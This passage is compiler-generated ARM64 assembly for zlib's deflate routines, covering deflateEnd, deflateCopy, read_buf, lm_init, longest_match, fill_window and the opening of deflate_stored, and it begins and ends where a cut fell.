ldr w0, [sp, 44]
cmp w0, 666
beq .L1813
mov w0, -2
str w0, [sp, 36]
b .L1811
.L1813:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr x0, [x0, 16]
cmp x0, 0
beq .L1814
ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr x0, [x0, 16]
mov x1, x0
mov x0, x3
blr x2
.L1814:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr x0, [x0, 104]
cmp x0, 0
beq .L1815
ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr x0, [x0, 104]
mov x1, x0
mov x0, x3
blr x2
.L1815:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr x0, [x0, 96]
cmp x0, 0
beq .L1816
ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr x0, [x0, 96]
mov x1, x0
mov x0, x3
blr x2
.L1816:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr x0, [x0, 80]
cmp x0, 0
beq .L1817
ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr x0, [x0, 80]
mov x1, x0
mov x0, x3
blr x2
.L1817:
ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
mov x1, x0
mov x0, x3
blr x2
ldr x0, [sp, 24]
str xzr, [x0, 56]
ldr w0, [sp, 44]
cmp w0, 113
bne .L1818
mov w0, -3
str w0, [sp, 40]
b .L1819
.L1818:
str wzr, [sp, 40]
.L1819:
ldr w0, [sp, 40]
str w0, [sp, 36]
.L1811:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE110:
.size deflateEnd, .-deflateEnd
.align 2
.global deflateCopy
.type deflateCopy, %function
deflateCopy:
.LFB111:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
cmp x0, 0
beq .L1834
ldr x0, [sp, 24]
cmp x0, 0
beq .L1835
ldr x0, [sp, 16]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1825
b .L1823
.L1834:
nop
b .L1823
.L1835:
nop
.L1823:
mov w0, -2
str w0, [sp, 36]
b .L1826
.L1825:
ldr x0, [sp, 16]
ldr x0, [x0, 56]
str x0, [sp, 40]
mov w2, 112
ldr x1, [sp, 16]
ldr x0, [sp, 24]
bl memcpy
ldr x0, [sp, 24]
ldr x3, [x0, 64]
ldr x0, [sp, 24]
ldr x0, [x0, 80]
mov w2, 5936
mov w1, 1
blr x3
str x0, [sp, 48]
ldr x0, [sp, 48]
cmp x0, 0
bne .L1827
mov w0, -4
str w0, [sp, 36]
b .L1826
.L1827:
ldr x0, [sp, 24]
ldr x1, [sp, 48]
str x1, [x0, 56]
mov w2, 5936
ldr x1, [sp, 40]
ldr x0, [sp, 48]
bl memcpy
ldr x0, [sp, 48]
ldr x1, [sp, 24]
str x1, [x0]
ldr x0, [sp, 24]
ldr x3, [x0, 64]
ldr x0, [sp, 24]
ldr x4, [x0, 80]
ldr x0, [sp, 48]
ldr w0, [x0, 68]
mov w2, 2
mov w1, w0
mov x0, x4
blr x3
mov x1, x0
ldr x0, [sp, 48]
str x1, [x0, 80]
ldr x0, [sp, 24]
ldr x3, [x0, 64]
ldr x0, [sp, 24]
ldr x4, [x0, 80]
ldr x0, [sp, 48]
ldr w0, [x0, 68]
mov w2, 2
mov w1, w0
mov x0, x4
blr x3
mov x1, x0
ldr x0, [sp, 48]
str x1, [x0, 96]
ldr x0, [sp, 24]
ldr x3, [x0, 64]
ldr x0, [sp, 24]
ldr x4, [x0, 80]
ldr x0, [sp, 48]
ldr w0, [x0, 116]
mov w2, 2
mov w1, w0
mov x0, x4
blr x3
mov x1, x0
ldr x0, [sp, 48]
str x1, [x0, 104]
ldr x0, [sp, 24]
ldr x3, [x0, 64]
ldr x0, [sp, 24]
ldr x4, [x0, 80]
ldr x0, [sp, 48]
ldr w0, [x0, 5880]
mov w2, 4
mov w1, w0
mov x0, x4
blr x3
str x0, [sp, 56]
ldr x0, [sp, 48]
ldr x1, [sp, 56]
str x1, [x0, 16]
ldr x0, [sp, 48]
ldr x0, [x0, 80]
cmp x0, 0
beq .L1836
ldr x0, [sp, 48]
ldr x0, [x0, 96]
cmp x0, 0
beq .L1837
ldr x0, [sp, 48]
ldr x0, [x0, 104]
cmp x0, 0
beq .L1838
ldr x0, [sp, 48]
ldr x0, [x0, 16]
cmp x0, 0
bne .L1832
b .L1829
.L1836:
nop
b .L1829
.L1837:
nop
b .L1829
.L1838:
nop
.L1829:
ldr x0, [sp, 24]
bl deflateEnd
mov w0, -4
str w0, [sp, 36]
b .L1826
.L1832:
ldr x0, [sp, 48]
ldr x3, [x0, 80]
ldr x0, [sp, 40]
ldr x1, [x0, 80]
ldr x0, [sp, 48]
ldr w0, [x0, 68]
lsl w0, w0, 1
mov w2, w0
mov x0, x3
bl memcpy
ldr x0, [sp, 48]
ldr x3, [x0, 96]
ldr x0, [sp, 40]
ldr x1, [x0, 96]
ldr x0, [sp, 48]
ldr w0, [x0, 68]
lsl w0, w0, 1
mov w2, w0
mov x0, x3
bl memcpy
ldr x0, [sp, 48]
ldr x3, [x0, 104]
ldr x0, [sp, 40]
ldr x1, [x0, 104]
ldr x0, [sp, 48]
ldr w0, [x0, 116]
lsl w0, w0, 1
mov w2, w0
mov x0, x3
bl memcpy
ldr x0, [sp, 48]
ldr x3, [x0, 16]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr x0, [sp, 48]
ldr x0, [x0, 24]
mov w2, w0
mov x0, x3
bl memcpy
ldr x0, [sp, 48]
ldr x0, [x0, 16]
ldr x1, [sp, 40]
ldr x2, [x1, 32]
ldr x1, [sp, 40]
ldr x1, [x1, 16]
sub x1, x2, x1
add x1, x0, x1
ldr x0, [sp, 48]
str x1, [x0, 32]
ldr x0, [sp, 48]
ldr w0, [x0, 5880]
lsr w0, w0, 1
uxtw x0, w0
lsl x0, x0, 1
ldr x1, [sp, 56]
add x1, x1, x0
ldr x0, [sp, 48]
str x1, [x0, 5888]
ldr x0, [sp, 48]
ldr x2, [x0, 16]
ldr x0, [sp, 48]
ldr w0, [x0, 5880]
uxtw x1, w0
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
add x1, x2, x0
ldr x0, [sp, 48]
str x1, [x0, 5872]
ldr x0, [sp, 48]
add x1, x0, 196
ldr x0, [sp, 48]
str x1, [x0, 2888]
ldr x0, [sp, 48]
add x1, x0, 2488
ldr x0, [sp, 48]
str x1, [x0, 2912]
ldr x0, [sp, 48]
add x1, x0, 2732
ldr x0, [sp, 48]
str x1, [x0, 2936]
str wzr, [sp, 36]
.L1826:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE111:
.size deflateCopy, .-deflateCopy
.align 2
.type read_buf, %function
read_buf:
.LFB112:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x0, [sp, 40]
ldr w0, [x0, 8]
str w0, [sp, 60]
ldr w1, [sp, 60]
ldr w0, [sp, 28]
cmp w1, w0
bls .L1840
ldr w0, [sp, 28]
str w0, [sp, 60]
.L1840:
ldr w0, [sp, 60]
cmp w0, 0
bne .L1841
str wzr, [sp, 56]
b .L1842
.L1841:
ldr x0, [sp, 40]
ldr w1, [x0, 8]
ldr w0, [sp, 60]
sub w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 8]
ldr x0, [sp, 40]
ldr x0, [x0]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 32]
bl memcpy
ldr x0, [sp, 40]
ldr x0, [x0, 56]
ldr w0, [x0, 44]
cmp w0, 1
bne .L1843
ldr x0, [sp, 40]
ldr x0, [x0, 96]
ldr w2, [sp, 60]
ldr x1, [sp, 32]
bl adler32
mov x1, x0
ldr x0, [sp, 40]
str x1, [x0, 96]
b .L1844
.L1843:
ldr x0, [sp, 40]
ldr x0, [x0, 56]
ldr w0, [x0, 44]
cmp w0, 2
bne .L1844
ldr x0, [sp, 40]
ldr x0, [x0, 96]
ldr w2, [sp, 60]
ldr x1, [sp, 32]
bl crc32
mov x1, x0
ldr x0, [sp, 40]
str x1, [x0, 96]
.L1844:
ldr x0, [sp, 40]
ldr x1, [x0]
ldr w0, [sp, 60]
add x1, x1, x0
ldr x0, [sp, 40]
str x1, [x0]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 60]
add x1, x1, x0
ldr x0, [sp, 40]
str x1, [x0, 16]
ldr w0, [sp, 60]
str w0, [sp, 56]
.L1842:
ldr w0, [sp, 56]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE112:
.size read_buf, .-read_buf
.align 2
.type lm_init, %function
lm_init:
.LFB113:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr w0, [x0, 68]
uxtw x0, w0
lsl x1, x0, 1
ldr x0, [sp, 24]
str x1, [x0, 88]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 116]
sub w0, w0, #1
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
strh wzr, [x0]
ldr x0, [sp, 24]
ldr x3, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 116]
sub w0, w0, #1
lsl w0, w0, 1
mov w2, w0
mov w1, 0
mov x0, x3
bl memset
ldr x0, [sp, 24]
ldr w2, [x0, 180]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
sxtw x0, w2
lsl x0, x0, 4
add x0, x1, x0
ldrh w0, [x0, 2]
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 176]
ldr x0, [sp, 24]
ldr w2, [x0, 180]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
sxtw x0, w2
lsl x0, x0, 4
add x0, x1, x0
ldrh w0, [x0]
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 188]
ldr x0, [sp, 24]
ldr w2, [x0, 180]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
sxtw x0, w2
lsl x0, x0, 4
add x0, x1, x0
ldrh w0, [x0, 4]
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 192]
ldr x0, [sp, 24]
ldr w2, [x0, 180]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
sxtw x0, w2
lsl x0, x0, 4
add x0, x1, x0
ldrh w0, [x0, 6]
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 172]
ldr x0, [sp, 24]
str wzr, [x0, 156]
ldr x0, [sp, 24]
str xzr, [x0, 136]
ldr x0, [sp, 24]
str wzr, [x0, 164]
ldr x0, [sp, 24]
str wzr, [x0, 5916]
mov w0, 2
str w0, [sp, 44]
ldr x0, [sp, 24]
ldr w1, [sp, 44]
str w1, [x0, 168]
ldr x0, [sp, 24]
ldr w1, [sp, 44]
str w1, [x0, 144]
ldr x0, [sp, 24]
str wzr, [x0, 152]
ldr x0, [sp, 24]
str wzr, [x0, 112]
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE113:
.size lm_init, .-lm_init
.align 2
.type longest_match, %function
longest_match:
.LFB114:
.cfi_startproc
stp x19, x20, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 19, -112
.cfi_offset 20, -104
stp x21, x22, [sp, 16]
str x23, [sp, 32]
.cfi_offset 21, -96
.cfi_offset 22, -88
.cfi_offset 23, -80
str x0, [sp, 56]
str w1, [sp, 52]
ldr x0, [sp, 56]
ldr w0, [x0, 172]
str w0, [sp, 80]
ldr x0, [sp, 56]
ldr x1, [x0, 80]
ldr x0, [sp, 56]
ldr w0, [x0, 156]
uxtw x0, w0
add x19, x1, x0
ldr x0, [sp, 56]
ldr w0, [x0, 168]
str w0, [sp, 84]
ldr x0, [sp, 56]
ldr w0, [x0, 192]
str w0, [sp, 88]
ldr x0, [sp, 56]
ldr w1, [x0, 156]
ldr x0, [sp, 56]
ldr w0, [x0, 68]
sub w0, w0, #262
cmp w1, w0
bls .L1849
ldr x0, [sp, 56]
ldr w1, [x0, 156]
ldr x0, [sp, 56]
ldr w0, [x0, 68]
sub w0, w1, w0
add w0, w0, 262
str w0, [sp, 92]
b .L1850
.L1849:
str wzr, [sp, 92]
.L1850:
ldr w0, [sp, 92]
str w0, [sp, 96]
ldr x0, [sp, 56]
ldr x0, [x0, 96]
str x0, [sp, 104]
ldr x0, [sp, 56]
ldr w0, [x0, 76]
str w0, [sp, 100]
ldr x0, [sp, 56]
ldr x1, [x0, 80]
ldr x0, [sp, 56]
ldr w0, [x0, 156]
uxtw x0, w0
add x0, x0, 258
add x21, x1, x0
ldrsw x0, [sp, 84]
sub x0, x0, #1
add x0, x19, x0
ldrb w22, [x0]
ldrsw x0, [sp, 84]
add x0, x19, x0
ldrb w23, [x0]
ldr x0, [sp, 56]
ldr w1, [x0, 168]
ldr x0, [sp, 56]
ldr w0, [x0, 188]
cmp w1, w0
bcc .L1851
ldr w0, [sp, 80]
lsr w0, w0, 2
str w0, [sp, 80]
.L1851:
ldr x0, [sp, 56]
ldr w1, [x0, 164]
ldr w0, [sp, 88]
cmp w1, w0
bcs .L1873
ldr x0, [sp, 56]
ldr w0, [x0, 164]
str w0, [sp, 88]
.L1873:
ldr x0, [sp, 56]
ldr x1, [x0, 80]
ldr w0, [sp, 52]
add x20, x1, x0
ldrsw x0, [sp, 84]
add x0, x20, x0
ldrb w0, [x0]
cmp w23, w0
bne .L1877
ldrsw x0, [sp, 84]
sub x0, x0, #1
add x0, x20, x0
ldrb w0, [x0]
cmp w22, w0
bne .L1878
ldrb w1, [x20]
ldrb w0, [x19]
cmp w1, w0
bne .L1879
add x20, x20, 1
ldrb w1, [x20]
add x0, x19, 1
ldrb w0, [x0]
cmp w1, w0
bne .L1880
add x19, x19, 2
add x20, x20, 1
.L1868:
add x19, x19, 1
add x20, x20, 1
ldrb w1, [x19]
ldrb w0, [x20]
cmp w1, w0
bne .L1881
add x19, x19, 1
add x20, x20, 1
ldrb w1, [x19]
ldrb w0, [x20]
cmp w1, w0
bne .L1882
add x19, x19, 1
add x20, x20, 1
ldrb w1, [x19]
ldrb w0, [x20]
cmp w1, w0
bne .L1883
add x19, x19, 1
add x20, x20, 1
ldrb w1, [x19]
ldrb w0, [x20]
cmp w1, w0
bne .L1884
add x19, x19, 1
add x20, x20, 1
ldrb w1, [x19]
ldrb w0, [x20]
cmp w1, w0
bne .L1885
add x19, x19, 1
add x20, x20, 1
ldrb w1, [x19]
ldrb w0, [x20]
cmp w1, w0
bne .L1886
add x19, x19, 1
add x20, x20, 1
ldrb w1, [x19]
ldrb w0, [x20]
cmp w1, w0
bne .L1887
add x19, x19, 1
add x20, x20, 1
ldrb w1, [x19]
ldrb w0, [x20]
cmp w1, w0
bne .L1888
cmp x19, x21
bcs .L1889
b .L1868
.L1881:
nop
b .L1867
.L1882:
nop
b .L1867
.L1883:
nop
b .L1867
.L1884:
nop
b .L1867
.L1885:
nop
b .L1867
.L1886:
nop
b .L1867
.L1887:
nop
b .L1867
.L1888:
nop
b .L1867
.L1889:
nop
.L1867:
sub x0, x21, x19
mov w1, w0
mov w0, 258
sub w0, w0, w1
mov w20, w0
sub x19, x21, #258
ldr w0, [sp, 84]
cmp w20, w0
ble .L1890
ldr x0, [sp, 56]
ldr w1, [sp, 52]
str w1, [x0, 160]
str w20, [sp, 84]
ldr w0, [sp, 88]
cmp w20, w0
bge .L1891
ldrsw x0, [sp, 84]
sub x0, x0, #1
add x0, x19, x0
ldrb w22, [x0]
ldrsw x0, [sp, 84]
add x0, x19, x0
ldrb w23, [x0]
b .L1854
.L1877:
nop
b .L1854
.L1878:
nop
b .L1854
.L1879:
nop
b .L1854
.L1880:
nop
b .L1854
.L1890:
nop
.L1854:
ldr w1, [sp, 52]
ldr w0, [sp, 100]
and w0, w1, w0
uxtw x0, w0
lsl x0, x0, 1
ldr x1, [sp, 104]
add x0, x1, x0
ldrh w0, [x0]
str w0, [sp, 52]
ldr w1, [sp, 52]
ldr w0, [sp, 96]
cmp w1, w0
bls .L1892
ldr w0, [sp, 80]
sub w0, w0, #1
str w0, [sp, 80]
ldr w0, [sp, 80]
cmp w0, 0
beq .L1893
b .L1873
.L1891:
nop
b .L1870
.L1892:
nop
b .L1870
.L1893:
nop
.L1870:
ldr x0, [sp, 56]
ldr w1, [x0, 164]
ldr w0, [sp, 84]
cmp w1, w0
bcc .L1874
ldr w0, [sp, 84]
str w0, [sp, 76]
b .L1875
.L1874:
ldr x0, [sp, 56]
ldr w0, [x0, 164]
str w0, [sp, 76]
.L1875:
ldr w0, [sp, 76]
ldp x21, x22, [sp, 16]
ldr x23, [sp, 32]
ldp x19, x20, [sp], 112
.cfi_restore 20
.cfi_restore 19
.cfi_restore 23
.cfi_restore 21
.cfi_restore 22
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE114:
.size longest_match, .-longest_match
.align 2
.type fill_window, %function
fill_window:
.LFB115:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
stp x19, x20, [sp, 16]
str x21, [sp, 32]
.cfi_offset 19, -96
.cfi_offset 20, -88
.cfi_offset 21, -80
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w0, [x0, 68]
str w0, [sp, 88]
.L1913:
ldr x0, [sp, 56]
ldr x0, [x0, 88]
mov w1, w0
ldr x0, [sp, 56]
ldr w0, [x0, 164]
sub w1, w1, w0
ldr x0, [sp, 56]
ldr w0, [x0, 156]
sub w0, w1, w0
str w0, [sp, 72]
ldr x0, [sp, 56]
ldr w1, [x0, 156]
ldr x0, [sp, 56]
ldr w2, [x0, 68]
ldr w0, [sp, 88]
add w0, w2, w0
sub w0, w0, #262
cmp w1, w0
bcc .L1895
ldr x0, [sp, 56]
ldr x3, [x0, 80]
ldr x0, [sp, 56]
ldr x1, [x0, 80]
ldr w0, [sp, 88]
add x0, x1, x0
ldr w2, [sp, 88]
mov x1, x0
mov x0, x3
bl memcpy
ldr x0, [sp, 56]
ldr w1, [x0, 160]
ldr w0, [sp, 88]
sub w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 160]
ldr x0, [sp, 56]
ldr w1, [x0, 156]
ldr w0, [sp, 88]
sub w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 156]
ldr x0, [sp, 56]
ldr x1, [x0, 136]
ldr w0, [sp, 88]
sub x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 136]
ldr x0, [sp, 56]
ldr w19, [x0, 116]
ldr x0, [sp, 56]
ldr x1, [x0, 104]
uxtw x0, w19
lsl x0, x0, 1
add x20, x1, x0
.L1900:
sub x20, x20, #2
ldrh w0, [x20]
mov w21, w0
ldr w0, [sp, 88]
cmp w21, w0
bcc .L1896
ldr w0, [sp, 88]
sub w0, w21, w0
str w0, [sp, 76]
b .L1897
.L1896:
str wzr, [sp, 76]
.L1897:
ldr w0, [sp, 76]
and w0, w0, 65535
strh w0, [x20]
sub w19, w19, #1
cmp w19, 0
beq .L1921
b .L1900
.L1921:
nop
ldr w19, [sp, 88]
ldr x0, [sp, 56]
ldr x1, [x0, 96]
uxtw x0, w19
lsl x0, x0, 1
add x20, x1, x0
.L1905:
sub x20, x20, #2
ldrh w0, [x20]
mov w21, w0
ldr w0, [sp, 88]
cmp w21, w0
bcc .L1901
ldr w0, [sp, 88]
sub w0, w21, w0
str w0, [sp, 80]
b .L1902
.L1901:
str wzr, [sp, 80]
.L1902:
ldr w0, [sp, 80]
and w0, w0, 65535
strh w0, [x20]
sub w19, w19, #1
cmp w19, 0
beq .L1922
b .L1905
.L1922:
nop
ldr w1, [sp, 72]
ldr w0, [sp, 88]
add w0, w1, w0
str w0, [sp, 72]
.L1895:
ldr x0, [sp, 56]
ldr x0, [x0]
ldr w0, [x0, 8]
cmp w0, 0
beq .L1923
ldr x0, [sp, 56]
ldr x3, [x0]
ldr x0, [sp, 56]
ldr x1, [x0, 80]
ldr x0, [sp, 56]
ldr w0, [x0, 156]
uxtw x2, w0
ldr x0, [sp, 56]
ldr w0, [x0, 164]
uxtw x0, w0
add x0, x2, x0
add x0, x1, x0
ldr w2, [sp, 72]
mov x1, x0
mov x0, x3
bl read_buf
str w0, [sp, 92]
ldr w19, [sp, 92]
ldr x0, [sp, 56]
ldr w0, [x0, 164]
add w1, w19, w0
ldr x0, [sp, 56]
str w1, [x0, 164]
ldr x0, [sp, 56]
ldr w1, [x0, 164]
ldr x0, [sp, 56]
ldr w0, [x0, 5916]
add w0, w1, w0
cmp w0, 2
bls .L1908
ldr x0, [sp, 56]
ldr w1, [x0, 156]
ldr x0, [sp, 56]
ldr w0, [x0, 5916]
sub w0, w1, w0
str w0, [sp, 84]
ldr x0, [sp, 56]
ldr x1, [x0, 80]
ldr w0, [sp, 84]
add x0, x1, x0
ldrb w0, [x0]
mov w1, w0
ldr x0, [sp, 56]
str w1, [x0, 112]
ldr x0, [sp, 56]
ldr w1, [x0, 112]
ldr x0, [sp, 56]
ldr w0, [x0, 128]
lsl w0, w1, w0
ldr x1, [sp, 56]
ldr x2, [x1, 80]
ldr w1, [sp, 84]
add w1, w1, 1
uxtw x1, w1
add x1, x2, x1
ldrb w1, [x1]
eor w1, w0, w1
ldr x0, [sp, 56]
ldr w0, [x0, 124]
and w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 112]
b .L1909
.L1910:
ldr x0, [sp, 56]
ldr w1, [x0, 112]
ldr x0, [sp, 56]
ldr w0, [x0, 128]
lsl w0, w1, w0
ldr x1, [sp, 56]
ldr x2, [x1, 80]
ldr w1, [sp, 84]
add w1, w1, 2
uxtw x1, w1
add x1, x2, x1
ldrb w1, [x1]
eor w1, w0, w1
ldr x0, [sp, 56]
ldr w0, [x0, 124]
and w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 112]
ldr x0, [sp, 56]
ldr x1, [x0, 104]
ldr x0, [sp, 56]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x1, x1, x0
ldr x0, [sp, 56]
ldr x2, [x0, 96]
ldr x0, [sp, 56]
ldr w3, [x0, 76]
ldr w0, [sp, 84]
and w0, w3, w0
uxtw x0, w0
lsl x0, x0, 1
add x0, x2, x0
ldrh w1, [x1]
strh w1, [x0]
ldr x0, [sp, 56]
ldr x1, [x0, 104]
ldr x0, [sp, 56]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldr w1, [sp, 84]
and w1, w1, 65535
strh w1, [x0]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
ldr x0, [sp, 56]
ldr w0, [x0, 5916]
sub w1, w0, #1
ldr x0, [sp, 56]
str w1, [x0, 5916]
ldr x0, [sp, 56]
ldr w1, [x0, 164]
ldr x0, [sp, 56]
ldr w0, [x0, 5916]
add w0, w1, w0
cmp w0, 2
bls .L1924
.L1909:
ldr x0, [sp, 56]
ldr w0, [x0, 5916]
cmp w0, 0
bne .L1910
b .L1908
.L1924:
nop
.L1908:
ldr x0, [sp, 56]
ldr w0, [x0, 164]
cmp w0, 261
bhi .L1925
ldr x0, [sp, 56]
ldr x0, [x0]
ldr w0, [x0, 8]
cmp w0, 0
beq .L1926
b .L1913
.L1923:
nop
b .L1907
.L1925:
nop
b .L1907
.L1926:
nop
.L1907:
ldr x0, [sp, 56]
ldr x1, [x0, 5928]
ldr x0, [sp, 56]
ldr x0, [x0, 88]
cmp x1, x0
bcs .L1927
ldr x0, [sp, 56]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 56]
ldr w0, [x0, 164]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 104]
ldr x0, [sp, 56]
ldr x0, [x0, 5928]
ldr x1, [sp, 104]
cmp x1, x0
bls .L1915
ldr x0, [sp, 56]
ldr x1, [x0, 88]
ldr x0, [sp, 104]
sub x0, x1, x0
str x0, [sp, 96]
ldr x0, [sp, 96]
cmp x0, 258
bls .L1916
mov x0, 258
str x0, [sp, 96]
.L1916:
ldr x0, [sp, 56]
ldr x1, [x0, 80]
ldr x0, [sp, 104]
add x0, x1, x0
ldr x1, [sp, 96]
mov w2, w1
mov w1, 0
bl memset
ldr x1, [sp, 104]
ldr x0, [sp, 96]
add x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 5928]
b .L1927
.L1915:
ldr x0, [sp, 56]
ldr x1, [x0, 5928]
ldr x0, [sp, 104]
add x0, x0, 258
cmp x1, x0
bcs .L1927
ldr x0, [sp, 56]
ldr x0, [x0, 5928]
ldr x1, [sp, 104]
sub x0, x1, x0
add x0, x0, 258
str x0, [sp, 96]
ldr x0, [sp, 56]
ldr x1, [x0, 88]
ldr x0, [sp, 56]
ldr x0, [x0, 5928]
sub x0, x1, x0
ldr x1, [sp, 96]
cmp x1, x0
bls .L1917
ldr x0, [sp, 56]
ldr x1, [x0, 88]
ldr x0, [sp, 56]
ldr x0, [x0, 5928]
sub x0, x1, x0
str x0, [sp, 96]
.L1917:
ldr x0, [sp, 56]
ldr x1, [x0, 80]
ldr x0, [sp, 56]
ldr x0, [x0, 5928]
add x0, x1, x0
ldr x1, [sp, 96]
mov w2, w1
mov w1, 0
bl memset
ldr x0, [sp, 56]
ldr x1, [x0, 5928]
ldr x0, [sp, 96]
add x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 5928]
nop
.L1927:
nop
ldp x19, x20, [sp, 16]
ldr x21, [sp, 32]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 21
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE115:
.size fill_window, .-fill_window
.align 2
.type deflate_stored, %function
deflate_stored:
.LFB116:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
mov x0, 65535
str x0, [sp, 48]
ldr x0, [sp, 24]
ldr x0, [x0, 24]
sub x0, x0, #5
ldr x1, [sp, 48]
cmp x1, x0
bls .L1942
ldr x0, [sp, 24]
ldr x0, [x0, 24]
sub x0, x0, #5
str x0, [sp, 48]
.L1942:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 1
bhi .L1930
ldr x0, [sp, 24]
bl fill_window
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 0
bne .L1931
ldr w0, [sp, 20]
cmp w0, 0
bne .L1931
str wzr, [sp, 44]
b .L1932
.L1931:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 0
beq .L1952
.L1930:
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr x0, [sp, 24]
str wzr, [x0, 164]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
str x0, [sp, 88]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
cmp w0, 0
beq .L1953
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x0, w0
ldr x1, [sp, 88]
cmp x1, x0
bhi .L1936
b .L1935
.L1953:
nop
.L1935:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
ldr x1, [sp, 88]
sub w1, w0, w1
ldr x0, [sp, 24]
str w1, [x0, 164]
ldr x0, [sp, 88]
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L1937
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 56]
b .L1938
.L1937:
str xzr, [sp, 56]
.L1938:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 56]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1936
str wzr, [sp, 44]
